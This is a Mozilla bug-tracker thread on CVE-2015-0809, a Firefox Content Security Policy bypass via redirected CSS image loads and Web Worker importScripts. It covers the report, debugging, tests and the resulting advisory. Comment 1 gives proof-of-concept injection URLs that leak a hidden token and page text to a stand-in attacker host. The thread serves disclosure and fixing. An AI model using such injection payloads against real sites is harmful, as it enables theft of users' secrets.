949706 - (CVE-2015-0809) CSP bypass using redirects with CSS image or importScripts of Web Worker

Status: RESOLVED FIXED

(Core :: DOM: Security, defect, P1)

Description

[Masato Kinugawa]

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 (Beta/Release)
Build ID: 20131205075310

Steps to reproduce:

CSP does not block unpermitted resource in some case.
PoC is the following:

[Case1] image URL in CSS
http://vulnerabledoma.in/fx_csp_bypass_with_cssimage

[Case2] importScripts of Web Workers
http://vulnerabledoma.in/fx_csp_bypass_with_importScripts


Actual results:

CSP does not block unpermitted resource.


Expected results:

CSP should block unpermitted resource.

Comment 1

[Masato Kinugawa]

The following is the attack sample. Attacker can get information in both case.

[Case1] http://vulnerabledoma.in/fx_csp_bypass_page1?xss=[ INJECT HERE ]

PoC:
http://vulnerabledoma.in/fx_csp_bypass_page1?xss=%3Clink%20rel=stylesheet%20href=%22/fx_csp_bypass_page2?param1=%250A{}*{background:url%28%27/l?url=http://attacker.example.com/%26param2=%27%29}%22%3E

When you access this page, Firefox send the following request: 
http://attacker.example.com/%22%3E%20%3Cinput%20type=%22hidden%22%20name=%22token%22%20value=%22%5BSECRET%5D%22%3E%20%3Cinput%20type=%22hidden%22%20name=%22param2%22%20value=%22


[Case2] http://vulnerabledoma.in/fx_csp_importScripts#[INJECT HERE]

PoC:
http://vulnerabledoma.in/fx_csp_importScripts#http://vulnerabledoma.in/l?url=http://l0.cm/fx_csp_importScripts_poc.js

When you access this page, Firefox send the following request: 
http://attacker.example.com/%3Ch1%3EThis%20is%20secret%20Text!%3C/h1%3E

Comment 2

[Daniel Veditz [:dveditz]]

Confirming both testcases. In both Content-Security-Policy: default-src 'self' is sent, and both use 302 redirects.

Is our CSP redirect listener broken in general? Or are these special cases?

Comment 3

[Sid Stamm [:geekboy or :sstamm]]

Verified again that CSPService::ShouldLoad is totally not being called for the mozilla.org URL (image) in the first test case or by importScripts in the worker.

We've got pretty good redirect test coverage (http://mxr.mozilla.org/mozilla-central/source/content/base/test/csp/file_csp_redirects_page.sjs), but looks like we don't have one for an allowed CSS file that requests a disallowed img().

Same with workers, we don't go deeper than one level.

The spec says both of these cases should be subject to the owner doc's CSP.
http://www.w3.org/TR/CSP/#img-src
http://www.w3.org/TR/CSP/#processing-model

Comment 4

[Sid Stamm [:geekboy or :sstamm]]

Attachment: bug949706-tests

I think these tests check what we want.  I added two to test_csp_redirects.html.  The new worker one is a bit more complex and makes me wonder if the worker redir tests that already exist in that file aren't actually testing workers (just testing script loads).

img-src-redir-from-css-spec-compliant:
1. Loads a CSS file via link tag on the same origin
2. That CSS file loads an image using a same-origin URL
3. Redirects the image load to cross-origin URL
4. Checks that it's blocked.

script-src-redir-from-worker-spec-compliant:
1. Loads a script file via script tag on the same origin ("loadWorkerThatImports")
2. That script creates a same-origin worker "importScriptWorker"
3. That worker calls importScripts on a same-origin script URL
4. The imported script redirects to cross-origin
5. Checks that the cross-origin script does not load.

Before landing, log() must be disabled in test_csp_redirects.html.

Comment 5

[Garrett Robinson [:grobinson]]

This may be two separate bugs. Are the redirects necessary for bypass? At least in the importScripts poc, it is a known issue that web workers do not fully enforce CSP. See bug 929292, especially Comments 1 & 2.

Comment 6

[Sid Stamm [:geekboy or :sstamm]]

After a little debugging, here's what I know:
CSPService::AsyncOnChannelRedirect() gets called for the css url() image redirect.  When it tries to extract the nsIChannelPolicy, there's no policy container.

287   props->GetPropertyAsInterface(NS_CHANNEL_PROP_CHANNEL_POLICY,
288                                 NS_GET_IID(nsISupports),
289                                 getter_AddRefs(policyContainer));

props has value, but policyContainer does not so AsyncChannelRedirect returns early.  To fix this, we need to find out why the oldChannel doesn't have the nsIChannelPolicy set.

Comment 7

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8368069 [details] [diff] [review]
bug949706-tests

This doesn't actually quite work right.  It fails, yes, but it fails because of the initial html document for the image/css test.

Comment 8

[Sid Stamm [:geekboy or :sstamm]]

Attachment: bug949706-tests

Comment 9

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8368354 [details] [diff] [review]
bug949706-tests

Ugh, premature "enter" keypress.

These tests should work better than the previous patch.  For easier testing, you can disable all but the new CSS test by:
1.  commenting out all the rows in test_csp_redirects.html::testExpectedResults except the last two (img-src-*from-css)
2.  commenting out all in file_csp_redirects_main.html:tests except for the row with img-src-from-css-spec-compliant.

Comment 10

[Sid Stamm [:geekboy or :sstamm]]

For the stylesheet case: 

The url() in the stylesheet creates a cssValue object for loading.  When it's loaded, in ImageLoader::LoadImage the call to nsContentUtils::CanLoadImage() is passed a document and a principal.  The document is the HTML document protected by CSP, but the principal is the principal for the stylesheet (with no CSP).  That means there's no CSP to put into the policyContainer in case of a redirect.

http://mxr.mozilla.org/mozilla-central/source/layout/style/ImageLoader.cpp#243
http://mxr.mozilla.org/mozilla-central/source/content/base/src/nsContentUtils.cpp#2599

So basically:
1. Document (Principal A, has CSP)
2. Stylesheet (Principal B, no CSP)
3. url() load is subject to checks based on Principal B (as aLoadingPrincipal) and the Document (as aLoadingDocument and aContext)

Is there a reason that the image is loaded with respect to the document but the stylesheet's origin?  

bz: turning to you since you're on the hg blame for adding aLoadingPrincipal to CanLoadImage().  Sorry to bother you, but I'm at a loss about what needs to be changed.  
1. In general, should we be passing the *document's* principal when trying to load images from stylesheets or should we pass the stylesheet's principal?
2. Do we need to special case CSP in CanLoadImage() since the document's CSP is supposed to block stylesheets' url() loads that violate the document's CSP?

Might have strange effects, especially for foreign CSS files, but we could copy the document's CSP into the stylesheet's principal...

Comment 11

[Sid Stamm [:geekboy or :sstamm]]

I haven't started looking into the worker issue since it is probably not related to the style issue and may be related to another bug (like bug 929292).

Comment 12

[Boris Zbarsky [:bzbarsky]]

> Is there a reason that the image is loaded with respect to the document but the
> stylesheet's origin?  

Yes. Consider a user or UA stylesheet applied to an untrusted web document.

> 1. In general, should we be passing the *document's* principal when trying to load images
> from stylesheets or should we pass the stylesheet's principal?

The latter.  Certainly the CheckLoadURI and content policy checks should be against the latter...

> 2. Do we need to special case CSP in CanLoadImage() since the document's CSP is supposed
> to block stylesheets' url() loads that violate the document's CSP?

Is it?  What about the UA/user sheet case?

Note that UA/user sheets are shared across documents, by the way.

Comment 13

[Sid Stamm [:geekboy or :sstamm]]

Yeah, CSP is supposed to block violating image loads from url()s in stylesheets.  Spec says:
"Requesting data for an image, such as when processing the src attribute of an img elements, the url() or image() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS3-Images], or the href attribute of a link element with an image-related rel attribute, such as icon."

CanLoadImage() is doing what it's supposed to with principals then.  Maybe we need to modify the CSP ShouldLoad implementation so it looks at the principal passed in *and* any document principal and uses CSP from both/either.  That way in the case where the principal is the stylesheet's, but we need to apply the CSP from the document we can.  Does this sound like a reasonable approach, or do you have a better idea, bz?

Comment 14

[Boris Zbarsky [:bzbarsky]]

> CSP is supposed to block violating image loads from url()s in stylesheets.

If the CSP spec is supposed to apply to UA/user stylesheets, it's just broken.

More likely, whoever wrote the spec simply didn't think about that case.  Compare to the discussion about CSP for extension stuff.  Worth getting the spec fixed there.

One thing we could probably try to do is to inherit the document CSP into the principal of document-level sheets.  That might do what people seem to be after.

Comment 15

[Sid Stamm [:geekboy or :sstamm]]

I don't think it's intended to apply to UA/user stylesheets (much like it isn't supposed to apply to extension stuff), so that's a spec oversight and worth changing.  But it is supposed to apply to network-fetched stylesheets like in the test for this bug (stylesheet loads from same origin as document, CSP needs to apply to the url() loads in the stylesheet). 

I thought about copying the document's CSP into the stylesheet, but that could have side-effects.  I'll try copying it in and see how it works.

Comment 16

[Boris Zbarsky [:bzbarsky]]

> but that could have side-effects. 

Sure.  Mostly it will affect what happens for these url() loads and @import from those stylesheets...  I suspect the changes will be what we want.  What _does_ the spec say about @import?

Comment 17

[Sid Stamm [:geekboy or :sstamm]]

@import is considered an activity subject to the style-src directive.

"Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed style sources, the user agent must act as if it had received an empty HTTP 400 response: 
"  * Requesting external style sheets, such as when processing the href attribute of a link element with a rel attribute containing the token stylesheet or when processing the @import directive in a stylesheet."
~ http://www.w3.org/TR/CSP/#style-src

Comment 18

[Boris Zbarsky [:bzbarsky]]

I bet we don't enforce that either right now, right?

Comment 19

[Sid Stamm [:geekboy or :sstamm]]

I modified my mochitest to try "@import url(x)" instead of "background{ url(x); }", and seems to block the violating load appropriately.  I think this problem is limited to the ImageLoader (and another related problem to workers).

Comment 20

[Boris Zbarsky [:bzbarsky]]

Why does the @import case work?  That also passes the parent stylesheet principal as the principal.

Comment 21

[Sid Stamm [:geekboy or :sstamm]]

I'm not sure why @import works (I just started learning more about our layout loader stuff today and haven't looked into @import yet), but dholbert suggested to me that images go through a different load path so there might be differences in setup or policy checking there.

Comment 22

[Boris Zbarsky [:bzbarsky]]

Oh, they certainly do that.  But @import goes through http://hg.mozilla.org/mozilla-central/file/8ded1c0760cc/layout/style/Loader.cpp#l1010 which is using the parent stylesheet for aSourcePrincipal...

Comment 23

[Sid Stamm [:geekboy or :sstamm]]

Since the CSP ShouldLoad implementation pulls any CSP policy out of its aContext argument, the only thing I can think of that may be different between @import and the image url() is the thing being passed as aContext.  I'll check it out in a debugger, but if the url() call passes the stylesheet instead of the document as the aContext, that could cause the CSP ContentPolicy check to miss finding a policy.

Comment 24

[Boris Zbarsky [:bzbarsky]]

Oh, I thought the CSP came from the principal...  If not, then it doesn't matter what principal the sheet has.

mozilla::css::ImageLoader::LoaderImage pass the document as aContext, though.

Comment 25

[Sid Stamm [:geekboy or :sstamm]]

Hmm.  Here's where CSP's code looks for a policy (on aContext):
http://mxr.mozilla.org/mozilla-central/source/content/base/src/nsCSPService.cpp#226

Comment 26

[Boris Zbarsky [:bzbarsky]]

aContext is definitely a document in this case.

But given comment 10 it sounds like the real issue is that aContext is not propagated across redirects or something?

Does the @import case really not show the same symptoms when a redirect is involved?

Comment 27

[Sid Stamm [:geekboy or :sstamm]]

(In reply to Boris Zbarsky [:bz] from comment #26)
> But given comment 10 it sounds like the real issue is that aContext is not propagated 
> across redirects or something?

That's what I thought at first, too.  I don't think we have a test for url() image-loading (just fonts[0]), and given the difference in behavior between @import and url(), I am wondering if the image url() loading will bypass CSP without a redirect.

> Does the @import case really not show the same symptoms when a redirect is
> involved?

Yes, really, which confuses me.  I modified the mochitest in a trivial way (see comment 19) and it worked for the redirect with @import but not url().  I'll update the test case to have both of these situations so we can look at them side by side.

[0] http://mxr.mozilla.org/mozilla-central/source/content/base/test/csp/file_CSP_main_spec_compliant.html?force=1#13

Comment 31

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_949706_worker_redirect_tests.patch

Apparently this bug became invalid. It seems that adding the loadInfo on all channels [1] and further relying on the loadInfo (which is persistent throughout redirects) makes handling redirects more robust. I tested both webpages from Comment 0 and in both cases CSP blocks correctly.

Since I think we can use more web-worker testcases, I am providing a testcase that verifies that CSP applies correctly in case a webpage loads a script which then instantiates a worker which then imports a script which then gets redirected :-)
Seems complicated? I added a detailed description of the testcase in the main testfile.

Sid, I am not sure if you want to land your previous tests for this bug as well. If not, please mark them as obsolete. Thanks!

Comment 32

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8526972 [details] [diff] [review]
bug_949706_worker_redirect_tests.patch

Review of attachment 8526972 [details] [diff] [review]:
-----------------------------------------------------------------

Since these are all going in dom/test/csp, you can drop the _csp token in each filename.

Many of the files in here are pretty trivial.  Can you build the files dynamically in the sjs to reduce the number of files in this patch?  Maybe make each step of process documented in test_csp_worker_redirect.html numbered, and make the SJS build each one depending on a querystring arg.  You could even put in an extra debugging argument in the querystring.  So the process would be something kind of like:

test_csp_worker_redirect.html
  -> loads html file bug949706.sjs?stage=0&html_loads_a_script
  -> loads script bug949706.sjs?stage=1&js_makes_a_worker
  -> creates worker bug949706.sjs?stage=2&worker_that_imports_script
  -> imports script bug949706.sjs?stage=3&script_load_that_redirects
  -> redirects to bug949706.sjs?stage=4&target_of_redirect

The separate files are not bad, but since this is all sequential it would be easiest to read if everything was in one .sjs file.  You can heavily document each step in that file, and it would read nicely from top to bottom.

::: dom/base/test/csp/test_csp_worker_redirect.html
@@ +6,5 @@
> +  <script type="text/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
> +  <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css" />
> +</head>
> +<body>
> +  <p id="display"></p>

Is this element used?

@@ +13,5 @@
> +  </div>
> +
> +<script class="testbody" type="text/javascript">
> +
> +SimpleTest.waitForExplicitFinish();

I'd move this down near the test entry point (call to loadNextTest()) to make it obvious this line is here and similar to the other CSP tests.

Comment 33

[Sid Stamm [:geekboy or :sstamm]]

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #31)
> Sid, I am not sure if you want to land your previous tests for this bug as
> well. If not, please mark them as obsolete. Thanks!

I think we want more test coverage here.  Can you clean up my previous tests (maybe comment out the dumps) and ensure it still works?

Comment 34

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_1080987_tests.patch

Cleaned the test up and incorporated the suggestions from Sid. What do you think now?

Comment 35

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_949706_tests_sid.patch

I rebased your tests and reviewed them. They look good to me. You wrote them quite some time ago so I think it makes sense that your review your on test as well :-)

Comment 36

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_949706_worker_redirect_tests.patch

I should get some sleep, uploaded the wrong patch initially.
Here we go.

Comment 37

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8532248 [details] [diff] [review]
bug_949706_tests_sid.patch

I can't be a reviewer on my own patch.  Either review it yourself, or if you had to make big changes then adopt the patch (change user to be you) and flag me for review.

Comment 38

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8532249 [details] [diff] [review]
bug_949706_worker_redirect_tests.patch

Review of attachment 8532249 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/base/test/csp/test_worker_redirect.html
@@ +49,5 @@
> +var counter = 0;
> +var curTest;
> +
> +function checkResult(aResult) {
> +  is(aResult, curTest.expected, "write text here");

"write text here"?  I don't understand.

Comment 39

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_949706_tests_sid.patch

You where the author of the test, I just rebased them. I also reviewed them, they are fine and ready to go in.

Comment 40

[Christoph Kerschbaumer [:ckerschb]]

Attachment: bug_949706_worker_redirect_tests.patch

Updated!

Comment 41

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 8533281 [details] [diff] [review]
bug_949706_worker_redirect_tests.patch

Review of attachment 8533281 [details] [diff] [review]:
-----------------------------------------------------------------

Yep, looks good.

Comment 42

[Christoph Kerschbaumer [:ckerschb]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/2df3340c1c67
https://hg.mozilla.org/integration/mozilla-inbound/rev/9bf92c31a2d8

Comment 43

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/2df3340c1c67
https://hg.mozilla.org/mozilla-central/rev/9bf92c31a2d8

Comment 44

[Al Billings [:abillings - ex-MoCo]]

Can we get an Aurora patch for this?

Comment 45

[Christoph Kerschbaumer [:ckerschb]]

This bug became invalid when Bug 1038756 landed, which was a target milestone for FF35. The patches in this bug are just tests, I don't know whether it's worth uplifting those tests.

Comment 46

[Al Billings [:abillings - ex-MoCo]]

So the actual issue was fixed in 35 and doesn't affect 36 and 37? If so, yes, you're right, we don't need to uplift the tests.

Comment 47

[Christoph Kerschbaumer [:ckerschb]]

(In reply to Al Billings [:abillings] from comment #46)
> So the actual issue was fixed in 35 and doesn't affect 36 and 37? If so,
> yes, you're right, we don't need to uplift the tests.

That is correct.

Just for the sake of completeness: The other relevant bug that partially fixed the problem described this bug is Bug 1041180, which also landed on FF35. (But that just as a reference note).


Thanks Al for checking!

Comment 48

[Al Billings [:abillings - ex-MoCo]]

Mismarked. This was fixed several releases ago by other work.

Comment 49

[Masato Kinugawa]

There is the security advisory for this bug?　At least, it seems that this bug does not work on my Firefox 36.0.4.

Comment 50

[Al Billings [:abillings - ex-MoCo]]

This was fixed by bug 1038756 and bug 1041180 per comment 45 and comment 47. 

I could backdate an advisory to 35 if we wanted to put one out there. This didn't get flagged with 35 because of the later checkins for 37, but those wound up just being tests.

Comment 51

[Daniel Veditz [:dveditz]]

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #47)
> Just for the sake of completeness: The other relevant bug that partially
> fixed the problem described this bug is Bug 1041180, which also landed on
> FF35. (But that just as a reference note).

We need such completeness when it comes to security bugs.
 * as in this case we need to credit reporters correctly
 * even if a bug is discovered and fixed wholly internally there is regularly rediscovery
   of issues by a second reporter (as happened in this case also) and we need to
   know when and how such bugs got fixed.

Al: we should create an advisory for this. Don't "back-date" it, use the correct date as it shows up in the list https://www.mozilla.org/security/announce/ , but it'll show up in the right place (Firefox 35) in the known-vulns page.

Comment 52

[Al Billings [:abillings - ex-MoCo]]

"Back date" here meant "go in Firefox 35, where it was fixed." The dates on the advisories are generally the release dates of the release in which they are fixed.